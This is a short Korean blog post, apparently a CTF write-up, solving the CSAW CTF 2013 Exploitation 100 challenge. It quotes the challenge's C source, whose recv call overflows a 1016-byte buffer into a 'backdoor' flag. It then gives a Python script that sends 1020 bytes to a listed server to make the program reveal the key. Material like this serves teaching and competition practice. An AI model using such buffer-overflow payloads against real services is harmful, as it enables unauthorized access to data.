본문 바로가기
Security/[게임] CTF 풀이

CSAW CTF 2013 Write Up (Expoition 100)

by blackcon 2013. 9. 23.
728x90

 간단한 BOF문제였습니다. 문제로 source가 제공되는데 다음과 같습니다.


[snip]

void handle(int newsock) {
	int backdoor = 0;
	char buffer[1016];
	memset(buffer, 0, 1016);

	send(newsock, "Welcome to CSAW CTF.", 21, 0);
	recv(newsock, buffer, 1020, 0);
	buffer[1015] = 0;

	if ( backdoor ) {
		fd = fopen("./key", "r");
		fscanf(fd, "%s\n", buffer);
		send(newsock, buffer, 512, 0);
	}
	close(newsock);
}
 

[snip]


공격코드는 다음과 같습니다.


 <poc.py>

#!/usr/bin/python

from socket import *

host = "128.238.66.212"

port = 31337


s = socket()

data = "a"*1020

try:

s.connect((host, port))

print s.recv(1024)

s.send(data)

print s.recv(1024)

s.close()

except:

print "error"

 

Get the flag!!!!! :)


728x90